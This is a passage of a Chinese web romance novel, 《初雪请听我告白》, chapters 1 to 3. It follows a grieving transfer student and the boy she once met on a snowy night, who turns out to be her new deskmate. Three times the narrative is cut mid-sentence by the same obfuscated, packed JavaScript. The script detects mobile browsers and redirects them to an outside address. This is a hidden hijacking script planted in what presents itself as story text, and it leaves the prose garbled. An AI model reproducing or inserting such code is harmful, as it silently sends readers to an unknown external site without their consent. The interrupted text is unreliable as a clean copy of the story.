《初雪请听我告白》 1. 一六年春 《初雪请听我告白》 七星桃/文 2025.3.2晋江文学城首发 - 「相逢那天,天光正好;对视那刻,雨后初晴。」 ——小澄同学.FM0106 · 早春三月,连绵不断的细雨终于结束。 此时的松槐氤氲着雨后潮湿,柔风裹挟着草木清香拂过丝丝凉意。 林听澄背着书包走在楼梯右侧,怀里抱着一摞书,十指交叉撑在书本底部。 她侧头看着墙上的荣誉栏,上面贴着月考、竞赛等各类排名表。 密密麻麻的小字挤在一起,她看不太清楚,往前凑了凑,依稀看到了某个竞赛的第一名: 高二六班 沈择…… “林听澄,刚刚说的话都听清了吗?” 林听澄突然回神。 最后一个字还没看清便急忙转头,对她面前的班主任点了点头。 “你既然选择在高二这个阶段转校,那就要做好打硬仗的准备。” “尽快调整好状态,跟上老师的教学进度,有什么问题及时找我沟通,明白吗?” 课间的楼梯口很吵闹,混杂着各种嬉笑打闹声。 林听澄缓缓抬起右脚,迈上一层台阶,应声:“李老师,我明白的。” 李响满意地清嗓子点头,朝她挥了挥手。 “你自己先回班,我去办公室拿书,等会儿和你们上课。” 林听澄一时愣住。 她以为班主任会直接带她回教室,今天是她第一次正式来学校。之前的入学考是单独在阶梯教室进行的,并未真正进入教学楼,眼前的一切对她而言实在是陌生。 林听澄抬起头,眼底透着些茫然。 “李老师,教室在哪儿?” 李响后知后觉,为难地摸了摸后颈。 “太忙了,都没来得及带你走一圈。” “四楼,然后右转,看墙上班牌找教室,自己先熟悉一下环境,等我来了再向班里同学介绍你。” 林听澄默默点头,正要回应一句“好”,李响已经匆匆离开,留下她一人站在原地。 眼神莫名放空了几秒,大概是在思考自己能不能在铃声响起前顺利找到教室。 发呆的空隙,迎面几个男生横冲直撞地追逐下楼。 林听澄心头一紧,下意识贴着栏杆靠边站,小心翼翼地避开前几个男生。还没来得及松口气,又有一个男生奔跑而来,直接从自己身前擦过。 没有任何征兆,少年的肩膀撞过自己的半个身体。 无声地掠过一阵清爽气息,像柑橘与雪松交织般,干净而澄澈。 林听澄被撞得有些摇摇晃晃,借力将掌心搭在楼梯扶手上,勉强撑住重心不稳的身体。 受到撞击的手臂僵硬地抵在栏杆处,似电流穿透般引起一阵酸软酥麻,怀里那摞高高叠起的书本“啪嗒”全部掉落。 像是触发了暂停键。 周遭的一切都安静了下来,崭新的书本乱七八糟地散落在周围台阶上。 她没意识到自己与那位少年隔着一层台阶上下而站,两人的掌心仅隔厘米依次握住扶手,只差一点就要触碰到对方的指尖。也没从惊吓中回神,只是条件反射地开口:“对不起。” 几乎是同一秒。 伴随这句“对不起”响起的还有那位少年的声音。 ——“抱歉。” 清冷紧劲,像是溪涧的潺潺流水。 林听澄这才反应过来,是对方先撞的自己。 她收回手,蹲下身捡起地面的书本,没什么脾气地接受他的道歉:“没事。” 书本掉落得很散,周围几级台阶上到处都是。 她动作利落迅速,捡起一本就往怀里塞去,将它们全部摞起抱在怀里。只有一本数学书掉落在最边缘处,离自己稍微远点。 林听澄抱着收拾好的书起身,刚迈出一步,还没来得及弯腰去捡那本数学书,已经有人率先捡起。 他拍了拍书面沾到的灰尘,很轻很缓地将书放在自己怀里的那摞书本之上。 之后,没有多余的言语,没有繁琐的动作。 就这样安静又平和地踩着上下层台阶,相对站立。 林听澄的呼吸有瞬息的停滞。 她轻眨眼睫,缓缓抬眸,对上少年目光的那刻,是她看向他的第一眼。 黑色头发耷垂而下,额前碎发微分,锋利的眉眼带着些清冷但并非让人觉得冷傲,反倒透着些漫不经心的痞气。 他个子很高,站在台阶之上,自己仅到他肩膀之处,仰头看向他的那瞬,堪堪看到他身后的半边景。 黯淡的云已经溃退,云缝中悄然露出清澈的天。半缕阳光透过树荫的缝隙斜照而下,掠过露天走廊,绕过来往人群,仿佛在他身后悄悄绽放了一道绚烂夺目的烟花。 林听澄看着他,有片刻的愣神。 她从未想过会再次遇见他。 莫名其妙的,她感觉自己左侧胸口震了两下。 她没敢再多看一眼,低下头抱紧怀里的书,轻声落下一句“谢谢”,迅速地从他身侧绕过离开。 那半缕阳光依旧照在少年的白色卫衣上,只是从他身侧绕过时两人衣袖产生了摩擦力,粘合又分开的一擦而过,光影开始变得忽明忽暗。 林听澄的双脚平稳地落在每一层台阶。 楼梯的那两道影子被衬得参差不齐,最终在彼此身影交错后重新变得完整。 第八层台阶,沈择屹独自站着。 在听到楼下那群男生催喊他名字时,回神了。眉梢微挑,倏然露笑。 是那样的,恣意散漫。 教室不算难找。 林听澄按照李响说的那样,上四楼再右转,根据班牌轻而易举地找到了教室。 她没敢走进去,只是贴在门外的墙边站着,手指不自觉地紧扣书本。 按照正常时间计算,这学期已经开学三周。自己作为转校生中途插进去,可能会打破班级原有的平衡点,不知道同学会不会排斥自己这个插班生,不知道自己能不能融入班级,不知道是否还会像以前那样受人欺负…… 不过这些也不太重要,自从她被带到这个陌生的城市,心里便只有一个念想。 林听澄在门口没站多久,李响便拿着书慢悠悠走来,仿佛是看穿了她的不安,扬起手朝她招了招,领着她进班。 教室里人不多,但依旧闹哄哄的。 大家聚集在座位上谈天说地,完全没有注意到李响的出现。 李响本不在意课间的这些玩闹,可一想到旁边站着位新同学,顿时改变了主意。 拍着讲台吼了两声,给那些闹腾的学生提个醒,也给自己树立一个威严的形象。 这一刻,教室安静了下来,所有人循声看去。 不是看李响,而是看李响身旁的那位女生。 她长得很漂亮,是不带任何攻击性的甜美长相。 圆眼细眉,双眼皮浅卧蚕,皮肤白皙水灵。扎着高马尾,松软发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139993|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾自然落在胸前,刘海蓬松垂在额前,白色开衫略显松垮地搭在身上,勾勒出纤瘦的身形,给人一种温柔舒服的感觉。 李响不着急介绍林听澄,而是扫过底下的那些座位,给她安排好位置。 第一组的最后一排。 右边靠窗的空位置。 与其说是安排座位,李响倒觉得是在给她选同桌。 目前班上只有两个空位置,第一组最后一排和第三组最后一排,都是最后一排看起来好像差不多,但情况并非如此。 第一组坐着沈择屹,第三组坐着邬戾。 两个都不是让人省心的学生,尤其是邬戾,班上刺头,成绩倒数,干啥啥不行挑事第一名。 至于沈择屹,他成绩很好,每次考试名列前茅,只是平时爱玩爱闹,性格过于张扬不羁。 相比之下,李响觉得沈择屹更适合和林听澄做同桌。 “先坐在这边吧,班里的座位是根据大家成绩组成的互助小组,不太好调动。” “等之后考完试,根据实际情况,我再重新安排。” 林听澄点了点头。 她不在意这些,坐哪都一样听课学习,不过她还挺喜欢这个位置的,靠着窗户也靠着后门,很方便。 “那你回座收拾一下,等上课再跟同学介绍你。” 李响拍了拍她的书包,示意她先回去整理东西。 林听澄轻声应下,顶着周围几位同学的目光回到座位上。 她身旁的椅子空着没人坐,椅背上挂着一件黑色外套。粗略扫过他的桌面,林听澄可以推断,她的同桌是个男生。 七八本书依次摞起,几本本子反扣放在上面,不算整齐但是很清爽干净。 还有一张数学试卷,被风刮到了自己桌面上,上面有红笔打的分数,有黑笔写的名字—— 136分 沈择屹 这个名字……林听澄指尖蜷了下。 犹豫了几秒,她伸出手捏住试卷的右上角,轻轻放到他的桌面,同时拿了一支黑笔压在上面。 林听澄低下头,开始整理书本。 在每本书的封面上写上班级姓名,拿出上课需要用到的书本放桌角,并在旁边摆好红蓝黑三支笔。这是她一直以来的习惯。 八点十分,预备铃响起。 同学陆续回班,空荡的教室很快被填满,但林听澄身边的座位始终空着,直到打响上课铃,后门口才有了一些动静。 沈择屹是卡点出现在教室后门的。 看到自己座位旁多了一抹身影时有片刻怔住,随即又恢复以往那般模样,拉开座椅,懒洋洋地坐下。 林听澄察觉到身旁的异样,她知道,自己的同桌回来了。 她其实不喜欢主动社交,但出于礼貌,觉得应该和他打声招呼。 放下手中的黑笔,手臂往里侧收了收,很自然地转头看向他,却猝不及防地对上一双深邃乌黑的眼。 他……在看自己。 直接坦然、毫不收敛地看着自己。 沈择屹手臂撑在桌面,掌心托着下巴。 脖颈修长,喉结嶙峋,他敛着眉低垂着眼,薄薄的唇角带了些弧度。 对视那刻像只小狗,无害地眨了下眼。 林听澄的心猛然颤了一下。 这一瞬,好像又回到他们初遇的那个雪夜。 他撑着雨伞,隔着漫天雪花看向自己,在彼此视线交汇时,清冽柔缓的声音随着雪花缓缓飘来。 ——“别哭。” 2. 一六年冬 「很多年以后,回想起那个初见的雪夜,我才后知后觉,答案都写在彼此见面的第一眼里。」 ——小澄同学.FM0106 · 记忆被拉回一月的冬季。 那是云榕的第一场雪,也是林听澄外婆去世的第八天。 林听澄蜷缩在卧室角落里,脑袋无力地倚靠在窗户上。 屋内没有暖气,温度很低。 她穿着薄薄的毛衣,顶着那一双红通通的眼睛呆呆地望向窗外,整个人憔悴又疲惫。 外婆去世的那天,她正在教室上课。 被班主任喊出去告知这件事时,语文老师刚好讲到余华老师写到的那句话—— “亲人的离去不是一场暴雨,而是此生漫长的潮湿,我永远困在这潮湿中,在每一个波澜不惊的日子里,掀起狂风暴雨。” 林听澄的心脏似乎骤停住了。 她不相信,一路哭着跑去医院,可等待她的是遮住白布的外婆。医生说外婆是突发心脏病,但抢救过程中还发现了很多隐性疾病,最终抢救无效…… 医生说了很多,林听澄却什么都没听进去。 外婆从未和她说过有什么身体不适,每次都只是说“外婆身体好着呢,将来要亲自送小澄上大学,要赚钱养小澄一辈子”。 可是,她连外婆最后一眼都没见到,一辈子就这样结束了。 林听澄缓缓闭上双眼。 眼角涌出的泪水顺着脸颊缓缓滑落,呼出的气息倾洒在窗户上形成薄薄的雾气,模糊了窗外的一切。 她从小和外婆生活在云榕,两人相依为命。 外婆养她爱她,是世上唯一疼爱她的人,更是她的全世界。 可如今,她的世界塌了。 外婆离开的这几天,林听澄平静得有些可怕。 没有大哭大闹,也没有胡乱地发泄情绪,只是每天都像现在这样呆呆地缩在这里,不分时间地看着外面灯火交替,风雨交加,自己一人悄然落泪。 直到今天,她从衣柜角落里发现一个信封,上面写着“小澄读书”,打开后,里面全是皱巴巴的纸币。 有五块、十块,五十块……零零散散加起来六千多。 那一瞬间,林听澄的心仿佛被无数只野兽凶狠地撕咬。 眼泪无法被掩埋,情绪无法再被压抑,横冲直撞地冲出来,撕扯着她让她哭得停不下来。 她大口大口地喘息,可根本喘不上气,像一只要快要渴死的鱼。 直到她哭累了,累到无意识地睡着,世界才安静下来。 在睡梦中。 她看见外婆站在雪地里,穿着自己给她买的那件红色棉袄,温柔地叫着自己的名字。 她哭着喊着朝外婆奔去,拼命握住那双充满茧皮的手,恳求外婆带自己一起离开,不要丢下孤零零的自己。 可外婆松开了她的手,笑眯眯地望向她。 “小澄,生命是宝贵的,不管世上有没有人爱你,你都要学会爱自己。” “以后外婆不在的日子,你要照顾好自己,好好生活好好长大,不然外婆会心疼的。” “还有,你喜欢下雪,应该是喜欢冬天的,千万不要困在外婆离开的这个冬天。” 林听澄流着泪拼命摇头,外婆却含着笑离她越来越远,直到彻底消失在这个梦里…… 林听澄被惊醒了,眼睛红肿,脸上挂着泪痕。 她不知道自己睡了多久,看向窗外时,天已经黑了。雪依然下着,比之前大了许多。 雪花纷纷扬扬从空中飘落,落在被压垮的树叶上,铺在屋檐的黑色瓦片上,覆盖在斑驳的狭窄路面。 缓了好一会儿,林听澄才清醒过来,擦掉脸上的泪水,从地上摸索出手机,打开了那个沉寂已久的聊天框。 空荡的聊天页面只有一条信息,是今早发过来的。 【明天来接你,收拾好东西。】 林听澄按下键盘,平静地回复了一个字:【好。】 外婆说,生命是宝贵的,小澄要好好生活。 所以,小澄会听话。 林听澄缓缓起身,穿上羽绒服,围上外婆亲手给她编织的围巾,走出房间。 她想在离开前再去周围看看,看看她和外婆生活了十七年的地方。 是她如此喜欢的城市。 打开门的那瞬,冷空气蓦然钻进口鼻,寒风席卷着雪花攀上她的双腿,透过裤脚钻入肌肤里,是刺骨的冷。 云榕地处南方,难得下雪,今天这场雪算得上是近几年最大的一场了。 林听澄抬手扯了扯围巾,撑起门口的雨伞。迈出脚踩在松软的薄雪之上,似轻纱摩挲般的细碎声,徐徐落入耳畔。 冬天黑夜长,路上行人不是很多。 她没有什么特别想去的地方,便沿着路一直往前走。 垂头看着雪地里的脚印,不知不觉走到了云菱江,想起过年时外婆和她在这里放了烟花。 眼睛又忍不住开始发酸。 林听澄吸了一口凉气,朝云菱江走近了些,没敢走太近,里面有礁石,雪夜行路有些危险。 她沿着草坪边缘站立在江边,吹着夹雪的凛风,视线从左到右扫过对面灯火通明的大厦,稍瞬顿住。 被她称为危险地带的礁石处,站着一个男生。 肩背宽阔,身形高而挺,穿着黑色大衣,单肩背着黑色书包。他没有打伞,任由飘雪吹拂落在身上,在这寂寥凛冽的冬雪夜里披着一身风雪,是如此的懒散颓靡。 这种感觉……林听澄心头倏然颤动。 这种感觉太熟悉了,像极了这段时间的自己,消极颓废,想要和外婆一起离开。 林听澄怏怏不悦地低下头,心里不是滋味。 她不清楚他是否有轻生的念头,也怕是自己多虑了,但万一…… 她忽然想起外婆说的那句话:生命是宝贵的。 心上的幡仿佛随着雪花动了又动。 林听澄望着那抹身影,抬眼轻闪睫毛,小心翼翼地迈开脚步。 夜里的礁石路不太好走,上面落了薄雪很滑很危险。 她紧紧握着伞,借着昏暗的灯光,一步又一步地朝他靠近。 走到他身后时,才发现他比自己高好多。 林听澄仰头看向他,像是鼓足了勇气,礼貌开口:“你好,需要雨伞吗?” 沈择屹很早就发现身后那道微微颤颤的身影了。 他没在意,以为是路过。 直到她的声音混着风声飘进耳边时,眼睫抬了下。 林听澄有点紧张,缩在袖子里手不自觉握拳。 她温吞内向,不擅交际,说完那句后便不知道再说些什么,只是觉得如果他的状态并不是自己以为的那种颓废差劲,那自己就可以放心了。 他侧过头看去,第一眼便看到了少女的眼睛。 一双泛红略肿、湿意绵绵的眼。 林听澄见他转头后莫名松了口气,可转眼又觉得他的状态看起来不是很好。 大衣随意敞开,里面是一件薄薄的灰色卫衣,领口露出白皙脖颈,隐约看到泛起的青筋。额前碎发被风吹得有些凌乱,淋了雪后潮湿地垂下。 他好像,不怕冷也不惧雪。 神差鬼使的,林听澄再次朝他迈进一步。 试探性地向他伸出那只撑着伞柄的手臂,微微举高,将伞面遮过他的头顶。 小心翼翼地开口:“因为在下雪,所以……要和我一起撑伞吗?” 她声音轻软,像缠绵的雪一点点融化在心间。 其实,不只是因为下雪,还有一个原因—— 林听澄想带他离开,离开这个危险的地方。 沈择屹神色稍顿,扫过那只悄无声息地出现在自己身前撑伞的手,低敛着黑眸看向她。 她的脸很小很白,脸颊微微透红,眼圆眸亮却噙着一些湿意,下巴埋在围巾里,看向自己的眼神里透着些胆怯。 沈择屹忽然露笑:“不怕我是坏人?” 他声音很好听,清冽低柔,还带着些松松散散的随性。 林听澄似惊讶于他会问自己这个问题。 望向他的眼睛轻轻眨了下,温柔地摇了摇头。 他一点也不像坏人。 而是像一个被人抛弃的可怜小狗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139994|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云榕的这场雪持续下着,仿佛没有丝毫要停的迹象。 林听澄撑着伞和身边的男生一起走着,为了顾及他的身高始终抬高手臂。 换作以前,这是她不敢想的。她怎么会和一个陌生男生同撑一把伞,可是他看起来真的好落魄,落魄到自己想要轻轻拉他一把…… 思绪有些不受控地飘散,林听澄没注意脚下凸起的礁石,猝不及防地滑了下,在身体摇摇晃晃的时候,手腕被拽住了。 她垂下眼,看见他骨节分明的手隔着厚厚的衣服握住自己的手臂,不过几秒,等自己站稳后很快又松开。 林听澄稳了稳呼吸,絮语道:“谢谢。” 他没出声回应这句道谢,而是主动伸手握住伞柄,不动声色地从她手中接过雨伞,撑起它。 林听澄有些意外他会有这个举动。 仰头看向他,侧脸轮廓流畅,眉眼锋锐,下颌线清晰明了,整个人透着一股冷淡不羁的野劲儿,或许骨子还有一点倔强。 不知道是不是自己盯的时间有些久了,他没什么情绪地扫了自己一眼。 这一眼惹得林听澄心慌低下头,手心蜷起,默默缩进袖口里。 在那之后,两人没再说话。 沈择屹撑着伞,林听澄安静地在他身边走着。 他们靠得很近,但又保持着一点安全距离,偶尔肩膀擦过碰触,也不会有任何逾矩。 微凉的寒意紧紧包裹着四周,脚下踩着松软的白雪发出细碎声响,在这寂静的夜里显得格外清脆。 不知道这样走了多久,林听澄恍然意识到他没有告诉自己要去哪,自己也没有问,两人就这么漫无目的地走在这个风雪夜里。 林听澄无声叹息,低头看着雪地上印出的浅浅脚印,纠结着要不要主动问他去哪,耳边却意外飘来一道淡然柔和的声音。 “去哪?” 嗓音低低地缠上,随着风雪一层层荡开。 林听澄微微怔住,随即又下意识反问:“你……你去哪?” 沈择屹将撑伞的手臂往她那边移了移,盯着这条看不到尽头的路,声音低磁:“很远。” 林听澄听到这个回答不知道该说些什么,但她能感觉到他的状态好像比之前好了很多,于是决定继续陪他走一会儿。 直到走到这条路的分岔路口,她的脚步变得越来越缓慢,像是在犹豫什么,支支吾吾地开口:“那个……” 沈择屹察觉到她的异常,主动停下脚步。 夜色暗沉,寒风掠过树梢,枝头簌簌抖落下积雪。 林听澄自觉地后退一步,朝着旁边那家已经关门的花店门口轻轻一跃,站在了屋檐下,轻眨眼眸:“我快到家了,雨伞留给你吧。” 林听澄指了指他手中的伞。 是一把透明伞,伞面上用马克笔画了两片雪花,中间写了字母L,是她的专属雨伞。 冬雪飘落,寒意料峭。 两人面对面相站,漫天飞雪从彼此视线中纷纷扬扬地落下,氤氲过暖黄的路灯透出耀眼的光。 林听澄挺立着纤瘦身姿,长发柔软地垂在肩膀两侧。 她仰头看向面前撑着雨伞的少年,身形高瘦,双腿修长,碎碎的刘海自然盖下,衬得眉眼格外好看。 他傲骨不折地站在路灯下,伞面布满了片片雪花和雪融后的水,顺着倾斜方向缓缓滑下。 林听澄笑了笑,在雪意缠绵的夜晚与他告别。 “早点回家,祝你天天开心。” 这几个字正如彼时的雪,轻轻落下,没有任何声响。 她以为自己得不到回应,正准备转身离开时,身前的少年动了动。 隔着衣袖拉起了她的手,在她掌心放下了两颗巧克力。 他起伏着灼热的呼吸,缓缓掀起眼皮,与她湿意缱绻的眼眸对上—— “天天开心,别哭。” 周围静谧一片,低缓的尾音随着风声飘进耳朵里。 林听澄怔怔地低下头,看着手心放着两颗名为“Meltykiss”的巧克力。 那一瞬,察觉不及的心跳怦然绽开。 像雪这般轻盈,无声落在心头。 3. 一六年春 「初雪那晚,只是我梦里的一场邂逅,无人知晓。」 ——小澄同学.FM0106 · 林听澄有些不知所措。 那句自我介绍像是卡在了喉咙里,怎么也说不出口。 她偏过头想要躲避视线,耳边却传来一道漫不经心的声音。 “我的……新同桌?” 林听澄喉咙紧了紧,点头回应:“你好,我叫林听澄。” 周围不算安静。 圆珠笔的按动声、书本的撕拉声、窗外的鸟叫声……各种杂音萦绕在周围,淹没她的声音,盖过这段无声的对话。 “好了,上课前先给大家介绍一下我们班新来的同学。” 李响扬手朝林听澄所在的位置指去。 “新同学,林听澄。” “大家课后多多交流,有空的时候可以带小林同学熟悉一下校园。” 话音落下,所有人的视线都聚集在她身上。 林听澄被盯得有些不适应,但还是礼貌地起身朝老师和同学微微露笑,随后低下脑袋,试图降低自己的存在感。 李响没耽误上课时间,简单介绍了两句便开始讲课。 教学进度很快,知识点详略得当,充分把握每一分钟,讲完最后一题刚好响起下课铃声。 林听澄突然想起一句话:资历深的老师会合理安排好教学进度,有效率就不会出现拖堂现象。 她记不太清这是从哪里看的,但是现在看来似乎有点道理。 教室瞬间闹腾起来,大家飞奔着冲出教室。 “沈择屹走不走,大课间二十分钟呢,打一局?” 邬戾抱着球站在沈择屹身后,手一抬就要顺势拉走他。 沈择屹提前预判到他的动作,身体往后仰了下,完美避开了他的拉拽。 邬戾扑了个空。 他没想到有这一出,重心不稳地朝林听澄所在的方向倒去,眼看着脑袋要撞上她的后背,一只手拽住他的肩膀将他往反方向拉了一把,整个人便撞在了门板上。 林听澄被这道撞门声吓到了。 手上动作颤了下,顺带笔下写的“澄”字歪了一个笔画。 “沈择屹你拽我干嘛?还使这么大力气,疼死了。” 邬戾揉着肩膀苦苦埋怨。 沈择屹没看他一眼,懒懒散散地回了句:“没空。” 紧接着,把自己桌上的修正带放到林听澄那里。 林听澄正低头在笔袋里翻找修正带,忽然看到他递来的修正带,手上的动作微微一滞,然后伸手接过。 她迅速涂改完错别字,将修正带递回,轻声说了句“谢谢”。 沈择屹漫不经心地收回视线。 他单脚顶着桌腿,椅子顺势往后一退,利落起身离开座位。刚迈出后门一步,半个身体还没探出去,那只脚又慢慢伸回来,重返回去。 不动声色地站在林听澄身后,盯着她的背影。 没出声,只是微微侧过身体,弯下腰,曲着手指在她桌面敲了敲。 “我带你去医务室处理一下?” 尾音微扬,清润又有厚度。 像海上翻滚的浪花,一点点低缠上耳畔。 林听澄耳朵有些不受控地发烫。 她转头看去,眼里倒映出他的模样,是意气风发的少年,但她没明白他话里的意思:“什么?” 沈择屹的目光扫过她的手臂。 那只原本撑在桌上的手缓缓抬起,朝她手臂靠近,在手关节的上方停了下来。 “这里。” 他没触碰,隔空点了一下,很轻。 “划伤了。” 林听澄愣住,低头看去才发现手关节处被划伤了。 衣袖被划开一道口子,白皙的肌肤露出一道细长的划痕,渗出了一点血。只是时间有些久了,血丝已经凝固。 她后知后觉,是刚才被撞时,在栏杆那边划伤的。 不严重,甚至没有任何感觉。 若不是沈择屹提醒她,她大概都不会发现。 林听澄手指轻轻碰了一下,扯着衣服盖住伤口,温柔开口:“没关系的。” 沈择屹没再问,林听澄垂下头继续写作业。 他走后,林听澄去了楼下小卖部买了个修正带。 再回来时,她在自己的课桌里发现了创可贴和消毒棉签。 林听澄有一瞬间的怔愣。 胸口像是被小猫轻轻挠了一下,酥酥麻麻。 · 吃完午饭,林听澄准备写作业补进度,刚拿出试卷就被许早拉出去散步消食。 许早是她的前桌,也是她来这里认识的第一个同学。 她活泼热情,大方可爱,是和自己截然相反的性格。 她会主动和自己聊天,会喊自己一起吃食堂,更会在走路时挽住自己的手叽叽喳喳说个不停。 换作以前,这些都是她不敢想的。 “小澄,你之前在哪里读书呀,为什么会突然转学?” “我记得转学是需要通过入学考的,我猜你的成绩一定很好!” “对啦,方便问问你住在哪里吗,周末我们可以约着一起学习。” 许早的声音带有一点点播音腔,清甜明亮,咬字清晰。 面对她的热情,林听澄有些应接不暇,但没有不耐烦,依次给予回应。毕竟她已经很久没有感受到这种鲜活的气息了。 同时,也在努力记住自己走过的路线,熟悉这个新环境。 这里的教学楼分为ABC栋,分别对应高一、高二和高三。教学楼形似“匚”型,有长长的露天走廊和交错的楼梯,设计得很有艺术感。 她们没什么目的地散步,不知不觉就走到了操场。 中间是四百米的标准塑胶跑道,左右两侧分别是篮球场和乒乓球场。 前面还有一块空地,许早说他们会在这里进行小体测。 平时呢,女孩子喜欢围在这边聊天谈八卦,不论是否同班、是否认识,只要聊到某个明星或某个讨厌的人就能瞬间打成一片。 友谊就是如此简单,可林听澄却觉得难如登天。 林听澄垂眼,眼底透着些忧伤。 可转头看向许早时,露出的笑容又是如此明媚:“我们回教室吗,待会儿要打铃了。” 许早摇了摇头,盯着前面的篮球场。 “他们在打球,我想去看看。” 他们……是谁? 林听澄还没来得及问,许早便拉着她往里面走。 径直绕过红色跑道,朝篮球场走去。 林听澄能感受到篮球的掷地声震颤着地面,忽远忽近地掠过脚底。 她看过去,一群意气风发的少年映入眼帘。 只是一眼,她就在人群中捕捉到一抹熟悉的身影。 定格住,聚焦他,追随他。 他穿梭在众人之中,躲过无数拦截,黑色的身影腾空跃起,掌心扣着篮球轻轻一投。 篮球入筐,扬起一阵欢呼声。 进球,竟是如此的轻松。 “那些男生都是我们班的吗?” 林听澄轻声询问。 她不认识班里的其他人,只是在看见沈择屹时,下意识认为那些男生都是自己班上的。 “不是,有好几个班的男生。” “不过都是沈择屹那个圈子的,他人缘好朋友多。” 许早话音刚落,空中扬起一道高高的抛物线,篮球正朝她们袭来。 她反应快,拉着林听澄往后退去。 篮球撞打在她们右斜方的栏杆处,震颤着落在地面。 “什么球技啊,隔这么远都能砸过来。” 许早拍着胸脯抱怨,正要关心林听澄有没有被吓到时,远远地传来罪魁祸首的声音。 “同学你们没事吧?” “实在不好意思,没吓到你们吧?” 数十米之外,邬戾急急忙忙地跑着过来,但由于没戴眼镜,没认出来她们是谁,一边跑一边道歉。 林听澄的耳朵自动过滤那道声音。 她不是很在意砸球的是谁,她在意的是挡球的那个人。 篮球朝他们袭来时,许早立马拉着她躲球,就那刻,她模糊地看到一抹身影争分夺秒地朝篮球跑去,迎着光奋力一跃,重重地将篮球往另一个方向打去。 否则以她和许早的躲球速度,篮球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139995|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍会准确无误地砸在她们身上,而不是落在斜方的栏杆处。 林听澄平缓了一下心脏。 再次抬头时,她看到那个少年正逆着光朝自己走来,身后是无数缕阳光,过于耀眼,过于炽烈。 刺得她几乎睁不开眼睛,迷迷糊糊地闭上眼,缓了会儿又睁开。 这一眼,她对上了沈择屹的目光。 彼此的眼神在光线中交汇。 周围空气似乎开始变得稀薄,有一种窒息感。 可她的视线却越来越清晰,耳畔的心脏跳动声越来越大声。 许早见林听澄发呆,拍了拍她的后背:“没事吧?” 林听澄笑着摇头:“许早,刚刚谢谢你。” “本能反应啦。”许早甜甜地笑着,脸颊露出两个小酒窝。 邬戾捡完球匆匆赶到她们面前道歉,这才发现是林听澄,顿时欣喜:“新同学,是你啊!” 许早皱眉:“物理!你只看见新同学,看不到我是吧?” “谁让你总叫我物理,本少爷叫邬、戾。” 他不满地朝许早做了个鬼脸,看向林听澄时又一副讨好模样:“你好,我叫邬戾,别听她瞎叫。” 说着,他将怀里的篮球转移到腰侧,用胳膊夹着,腾出一只手朝林听澄伸去,想要和她握手。 “你好呀,邬戾。” 林听澄笑着朝他伸出手,准备礼貌性地轻轻碰一下时,沈择屹不声不响地绕到邬戾身后,抬手一拍,将他腰侧的篮球拍掉。 “洗手没?这么脏的手也不怕弄脏人家。” 沈择屹抬起眼睫,没什么情绪地扫了一眼邬戾,语气里透着些不耐烦。 “沈择屹你今儿吃枪药了?到处挑我的刺,平日也没见你这么计较啊。” “在新同学面前能不能给我留点面子,气死了!” 邬戾想回怼,可又觉得他说得有道理,只好语气强硬地给自己找补了两句。 沈择屹站在他身后,单手插兜,语调闲散:“讲话这么凶,别吓着新同学。” 邬戾:“……不是?我哪儿凶了?” 又转头看向林听澄:“我凶吗?” 还没等林听澄回答,许早一个跨步挡在她身前,嫌弃地捏住邬戾的衣角,直接将他拽走。 “闭嘴吧,刚刚差点砸到我们,我还没和你算账。” “别!真不是故意的,我道歉啊!” “我请你们吃饭啊喂!” …… 身影渐行渐远,声音逐渐消弭。 林听澄看着他们离开的背影,第一次觉得校园生活是如此的生动有趣。 四人是一起回教室的。 只不过走到楼梯口拐角时,沈择屹往另一个方向走了。 林听澄没在意,回去后整理了一下课本便开始写作业补进度,还没写几个字,身边的座位被拉开。 一道低缓的声音传来,尾音微扬,带着几分慵懒。 “同桌,有纸巾吗?” 林听澄手里的动作停下,转头看去。 沈择屹背靠在椅背上,歪着头看自己,随后又晃了晃双手,上面悬着水珠,正顺延着手臂线条往衣袖里滴落。 林听澄了然,从口袋里拿出一包纸巾,全部交给沈择屹。 他接过,抽出一张纸擦手,将剩余的归还:“谢了。” “没事。” 林听澄准备继续写作业,刚拿起笔,那道熟悉的声音再次传来。 “上午没来得及介绍。” 沈择屹顿了顿,朝林听澄伸出手。 手指细长,骨节分明,白皙的掌心微微泛着粉。 “重新认识下,我叫沈择屹。” 窗外的风轻轻拂过,带有一丝凉意。 阳光透过窗户玻璃倾洒在整个桌面,轻柔地勾勒出少年与少女的轮廓。 林听澄看着他,听到他说的那句话,突然有些恍惚。 他好像,不记得自己了。 林听澄的心脏仿佛被什么轻轻刺了一下。 她缓缓垂下眼,举起手,与他掌心慢慢靠近。 指尖触碰,掌心相贴。 在彼此体温交融的那刻,铃声响起—— 4. 一六年春 